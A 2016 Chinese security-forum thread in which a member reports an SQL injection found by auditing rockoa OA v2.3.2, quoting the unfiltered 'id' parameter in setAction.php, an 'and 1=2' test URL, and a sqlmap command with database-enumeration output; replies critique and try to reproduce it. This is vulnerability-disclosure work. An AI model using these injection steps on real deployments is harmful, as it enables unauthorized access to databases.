[【未通过】] 【未转正】rockoa_utf8_v2.3.2 SQL需登入注入 (审计出的漏洞)

[复制链接]
sixpig_ 发表于 2016-7-23 12:17:30 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 119

/webrock/flow/set/setAction.php
代码如下:
public function pipeiAjax()
    {
        $sid     = $this->request('id');  //未过滤
        $rows    = m('flow_set')->getall("`id` in($sid) and `isflow`=1 and `table` is not null order by `sort`", 'num');
        $str    = '';
        $mess    = '';//邮件内容
        $naes    = '';
        
        foreach($rows as $k=>$rsss){
            $flow     = f($rsss['num']);
            $arrs     = $flow->reloadpipei();
            $str    .= ''.($k+1).'、'.$arrs[0];
        }
        echo $str;
    }
关于参数传递可以看
/include/View.php 这个里面就是参数传递

访问这个URL,需要登入
http://localhost/rock.php?a=pipei&d=flow&m=set&ajaxbool=true&id=1
返回:
1、[请假条]共记录6条,重新匹配(0)条,异常(0)条,完成(0)条。
http://localhost/rock.php?a=pipei&d=flow&m=set&ajaxbool=true&id=1 and 1=2
返回:无内容

用sqlmap神器:
sqlmap.py -r cj.txt -p id --dbs
反回:
[11:52:53] [INFO] falling back to current database
[11:52:53] [INFO] fetching current database
[11:52:53] [INFO] retrieved: rockoa
available databases [1]: rockoa

这是我审计出的一个漏洞,希望可以通过

单选投票, 共有 23 人参与投票
26.09% (6)
4.35% (1)
69.57% (16)
您所在的用户组没有投票权限
Exploit_小宇 发表于 2016-7-23 12:24:59 | 显示全部楼层

正式成员|主题 |帖子 |积分 151

投不通过的几个原因:

1.代码分析没有亮点

2.应该从思路去分析 不要直接就告诉漏洞点 从如何找到漏洞点→如何调试→如何审计去分析

同时也希望楼主下一次发的文章更加精彩。
 楼主 sixpig_ 发表于 2016-7-23 12:33:17 | 显示全部楼层

正式成员|主题 |帖子 |积分 119

Exploit_小宇 发表于 2016-7-23 12:24
投不通过的几个原因:

1.代码分析没有亮点

多写指点..以后会改进
洞庭人 发表于 2016-7-23 13:24:57 | 显示全部楼层

正式成员|主题 |帖子 |积分 140

通过原因:小伙子态度还行比较谦虚
Exploit_小宇 发表于 2016-7-23 16:17:29 | 显示全部楼层

正式成员|主题 |帖子 |积分 151

本地测试失败

QQ截图20160722133454.png
一人一刀下北凉 发表于 2016-7-23 21:11:22 | 显示全部楼层

正式成员|主题 |帖子 |积分 129

了解他获取参数的方法后  全局搜索 然后一个个跟进去看?
郭斯特 发表于 2016-7-24 02:49:56 | 显示全部楼层

正式成员|主题 |帖子 |积分 27

本帖最后由 郭斯特 于 2016-7-24 03:24 编辑

0.0
郭斯特 发表于 2016-7-24 03:23:39 | 显示全部楼层

正式成员|主题 |帖子 |积分 27


本地测试成功的 盲注一枚
90sec.png
j33h2u 发表于 2016-7-24 08:27:35 | 显示全部楼层

正式成员|主题 |帖子 |积分 56

本帖最后由 j33h2u 于 2016-7-24 08:29 编辑

@郭斯特 6613?黑客我只服6613
快速回复 返回顶部 返回列表